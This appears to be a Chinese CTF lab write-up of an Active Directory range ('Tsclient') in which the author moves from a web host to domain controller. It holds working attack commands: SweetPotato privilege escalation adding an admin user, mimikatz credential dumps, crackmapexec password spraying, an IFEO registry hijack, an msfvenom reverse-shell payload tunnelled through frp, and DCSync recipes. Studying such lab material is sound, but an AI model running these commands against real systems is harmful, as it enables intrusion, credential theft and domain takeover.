Tsclient
过程遇到的问题:
1.拿到html如何横向
2.内网代理,如何通过远程172的内网代理到我本地192的内网,拓扑:
172.22.8.46 192.168.120.128(Kali)
↓ ↑
172.22.8.18(39.99.224.53)----->123.249.8.26(CS)---------->192.168.120.1
3.远程内网172.22.8.46不出网,如何上线CS
Fscan扫描:
扫到一个数据库密码,连接:
甜土豆提权执行命令:
flag1
新建用户:
C:/ProgramData/SweetPotato.exe -a "net user qingfeng qwer1234! /add"
C:/ProgramData/SweetPotato.exe -a "net localgroup administrators qingfeng /add"
C:/ProgramData/SweetPotato.exe -a 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
登录远程桌面拿到第一个flag
这里由于远程桌面版本好像比较低,用rdesktop是无法连接成功的,所以使用apt install remmina下载remmina
使用remmina即可忽略版本问题
flag2
上个猕猴桃看能不能抓到密码:
log
privilege::debug
sekurlsa::logonpasswords
Authentication Id : 0 ; 661009 (00000000:000a1611)
Session : RemoteInteractive from 2
User Name : John
Domain : WIN-WEB
Logon Server : WIN-WEB
Logon Time : 2023/8/23 8:12:39
SID : S-1-5-21-4088072006-1921831747-1237773115-1008
msv :
[00000003] Primary
* Username : John
* Domain : WIN-WEB
* NTLM : eec9381b043f098b011be51622282027
* SHA1 : 18056c7dda082b2b219dbaac6157a1fb234403bc
tspkg :
wdigest :
* Username : John
* Domain : WIN-WEB
* Password : (null)
kerberos :
* Username : John
* Domain : WIN-WEB
* Password : (null)
ssp :
credman :
抓到了John账号的NTLM
内网先fscan扫一下:
C:\Windows\Temp>fscan.exe -h 172.22.8.18/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.7.1
start infoscan
[*] 已完成 0/0 listen ip4:icmp 0.0.0.0: socket: An attempt was made to access a socket in a way forbidden by its access permissions.
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.8.31 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.46 is alive
[*] Icmp alive hosts len is: 4
172.22.8.15:88 open
172.22.8.31:445 open
172.22.8.46:445 open
172.22.8.18:1433 open
172.22.8.15:445 open
172.22.8.46:139 open
172.22.8.18:445 open
172.22.8.15:139 open
172.22.8.18:139 open
172.22.8.31:139 open
172.22.8.31:135 open
172.22.8.18:135 open
172.22.8.46:135 open
172.22.8.15:135 open
172.22.8.46:80 open
172.22.8.18:80 open
[*] alive ports len is: 16
[*] start vulscan
[+] NetInfo:
[*]172.22.8.18
[->]WIN-WEB
[->]172.22.8.18
[->]2001:0:348b:fb58:1cb7:3b8e:d89d:8985
[+] NetInfo:
[*]172.22.8.46
[->]WIN2016
[->]172.22.8.46
[+] NetInfo:
[*]172.22.8.15
[->]DC01
[->]172.22.8.15
[+] NetInfo:
[*]172.22.8.31
[->]WIN19-CLIENT
[->]172.22.8.31
[*] 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] 172.22.8.15 [+]DC XIAORANG\DC01
[*] 172.22.8.46 XIAORANG\WIN2016 Windows Server 2016 Datacenter 14393
[*] WebTitle:http://172.22.8.18 code:200 len:703 title:IIS Windows Server
[*] WebTitle:http://172.22.8.46 code:200 len:703 title:IIS Windows Server
[+] mssql:172.22.8.18:1433:sa 1qaz!QAZ
[*] 已完成 16/16
[*] 扫描结束,耗时: 11.0592205s
现在发现三台域内主机:
[*] 172.22.8.31 XIAORANG\WIN19-CLIENT
[*] 172.22.8.15 [+]DC XIAORANG\DC01
[*] 172.22.8.46 XIAORANG\WIN2016
我们已经有控制权的是172.22.8.18
现在想要横向怎么办?
我们刚才创建的账号qingfeng肯定是和域内主机没有联系的
而且其他主机也没有什么可以打的web服务,只有一个默认的IIS,也扫不出来ms17-010
只能从john账号入手
先上线:
我们注入一个john进程:
上线一个新的用户:
使用shell net use
发现他有一个连接
拿文件:
发现有一个密码账号(这里还有一个提示没看见。。。,原话是:
而且是在域内的,我们挂个代理进去看看:
frpc配置文件如下:
[common]
server_addr = vps_ip
server_port = 7000
token = xxxx
[proxy]
type = tcp
plugin = socks5
remote_port = 25599
frps配置文件如下:
[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = xxxx
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=xxxx
修改Klai的proxychains配置文件
访问确认代理可以使用
关于代理更细的代理都写在内网代理 | 清风的博客 (qingfeng.tech)
利用密码喷洒探测内网可以使用该密码登录的主机:
proxychains -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
提示密码状态已过期
重置密码,31,15,46三台机子只有15可以重置成功
但是奇怪的是15无法登录,但是46却可以登录,而且也是修改完密码的。表示不解..
现在利用rdp登录:
proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'qwer1234!'
proxychains rdesktop 172.22.8.15 -u Aldrich -d xiaorang.lab -p 'qwer1234!'
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p 'qwer1234!' -r disk:Linuxictures=/home/kali/Desktop
# 只有这个46可以登录成功 -r 是因为为了后续方便传输文件,挂载了一个虚拟磁盘名为Linuxictures,在RDP的资源管理器中可以看见
现在的46就是一个普通用户,想要flag必须提权到Administrator权限以上
这里就利用到了上面的提示
你知道映像劫持吗?
Image File Execution Options(IFEO)是映像劫持的英文,就是在执行某个程序时拦截并执行自己定义的程序。
配合后门持久化,可以实现系统在未登录状态下,通过快捷键运行自己的程序。(比如按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序)
更多如下
- 屏幕键盘: C:\Windows\System32\osk.exe
- 放大镜: C:\Windows\System32\Magnify.exe
- 旁白: C:\Windows\System32\Narrator.exe
- 显示切换器 C:\Windows\System32\DisplaySwitch.exe
打开Powershell输入命令可以看是否存在这个漏洞:
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
1. NT AUTHORITY\Authenticated Users Allow SetValue,CreateSubKey,ReadKey: 这个规则允许"Authenticated Users"用户组执行 "SetValue" 和 "CreateSubKey" 操作,这两个操作都可以用来修改注册表的内容。
2. APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow SetValue,CreateSubKey,ReadKey: 这个规则允许"ALL APPLICATION PACKAGES"权限组执行 "SetValue" 和 "CreateSubKey" 操作,同样,这两个操作都可以用来修改注册表。
这意味着任何已认证的用户("Authenticated Users")和所有应用程序包权限组("ALL APPLICATION PACKAGES")的成员都可以对注册表进行修改,包括添加、修改和删除注册表键和值。
所以我们可以通过普通用户修改注册表:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
修改成功后,锁定用户,右下角点击放大镜。弹出cmd表示成功劫持,读取flag即可
flag3
接下来就是考虑如何拿到域控了
先上线我们上面提权到的机器(Administrator执行上线)
这里上线的时候有个问题,这台机器是不出网的
想要上线CS,必须通过入口机作为跳板
入口机器选择这个Lintener作为中转机
这里就是建立了一个监听
再选择木马:
这里是Stageless木马才能选中Lintener监听
之后执行即可上线
这里还有另一个问题,因为我vps上面没有MSF,如果想要上线我Kali的MSF应该怎么做(上线MSF为了提权,虽然没提上)
就是上面说到的问题:
毫无疑问我们是利用线路1
首先需要以39.99.224.53作为FRPS
frps.ini如下:
[common]
bind_port = 7001
token=frpToken@admin2022
kali作为frpc
frpc.ini如下:
[common]
server_addr = 39.99.224.53
server_port = 7001
token = frpToken@admin2022
[proxy]
type = tcp
local_ip = 192.168.120.128
local_port = 9999
remote_port = 9999
接下来的问题就是生成木马了
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.22.8.18 LPORT=9999 -f exe > muma.exe
这里为什么选择LHOST=172.22.8.18呢?
因为我们使用frp已经把172.22.8.18(39.99.224.53)的9999端口转发到kali的9999端口了,并且172.22.8.46只能访问到172.22.8.18(39.99.224.53)的9999端口
所以就相当于我们msf的9999端口就在172.22.8.18(39.99.224.53)的9999端口
但是上线MSF仍然没有可以利用的提权…
回到flag3
这台主机已经是在域内了,所以我们可以直接看域内的管理员用户
shell net group "domain admins" /domain
可以看到这里有两个用户:
Administrator
Win2016$(机器用户)
Administrator是DC上的账户,我们没有权限直接抓到他
但是我们可以抓到WIN2016的NTLM:
利用这个NTLM:
首先提到WIN2016
的权限
然后抓取Administrator的NTLM值:
mimikatz lsadump::dcsync /domain:xiaorang.lab /all /csv exit
再次利用Administrator的NTLM建立连接
先切换任务视图
再选择64位的pkexec横向:
选择好使用的hash值
再确定好Listener和Session,成功后会返回一个标识
再利用dcsync
抓到Administrator
的账号
读取flag
关于这里的dcsync
也有必要说一下
DCSync攻击
一个域环境内可以拥有多台域控制器,每个域控制器各自存储着一份所在域的活动目录的可写副本,对目录的任何修改都可以从源控制器同步到本域、域树和域林中的其他域控制器上,当一个域控想从另一个域控获取域数据更新时,客户端域控会向服务端域控发送DSGetNCChanges请求,该请求的响应将包含客户段域控必须应用到其活动目录副本的一组更新。通常情况下,域控制器之间每15分组就会有一次域数据同步。
DCSync技术就是利用域控制器同步的原理,通过Directory Replication Service(DRS)服务的IDL_DRSGetNCChanges接口向域控发起数据通过请求。在DCSync出现前,要获得所有域用户的哈希,测试人员可能需要登录域控制器或通过卷影拷贝技术获取NTDS.dit文件。利用DCSync,测试人员可以在域内任何一台机器上模拟一个域控制器,通过域数据同步复制的方式获取正在运行的合法域控制器上的数据。注意,DCSync攻击不适用于只读域控制器(RODC)。
在默认情况下,只有Administrator,Domain Controllers和Enterprise Domain Admins组内的用户和域控制器的机器账户才有执行DCSync操作的权限。
一般来说,域管理员权限的用户以及Krbtgt用户的哈希是有价值的。通过域管理员的哈希可以直接获取服务器控制权,而Krbtgt用户的哈希可以用来制作黄金票据,实现票据传递攻击。拿到域控权限导出全部hash,就可以直接PTH攻击域内所有机器了。
-- xiaoqiuxx
实现途径:
猕猴桃
# 导出域内指定用户的信息(包括哈希值)
mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /user:administrator" exit
mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /user:administrator /csv" exit
# 导出域内所有用户的信息(包括哈希值)
mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /all" exit
mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
Impacket
#导出域管理员Administrator用户的哈希值
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator # 获取 administrator 用户的哈希
# python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip> -dc-ip <dc-ip> -just-dc-user <username for DCSync>
powershell
Import-Module .\Invoke-DCSync.ps1
# 导出域内所有用户的哈希值
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 导出域内指定用户的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize
最终的结果图: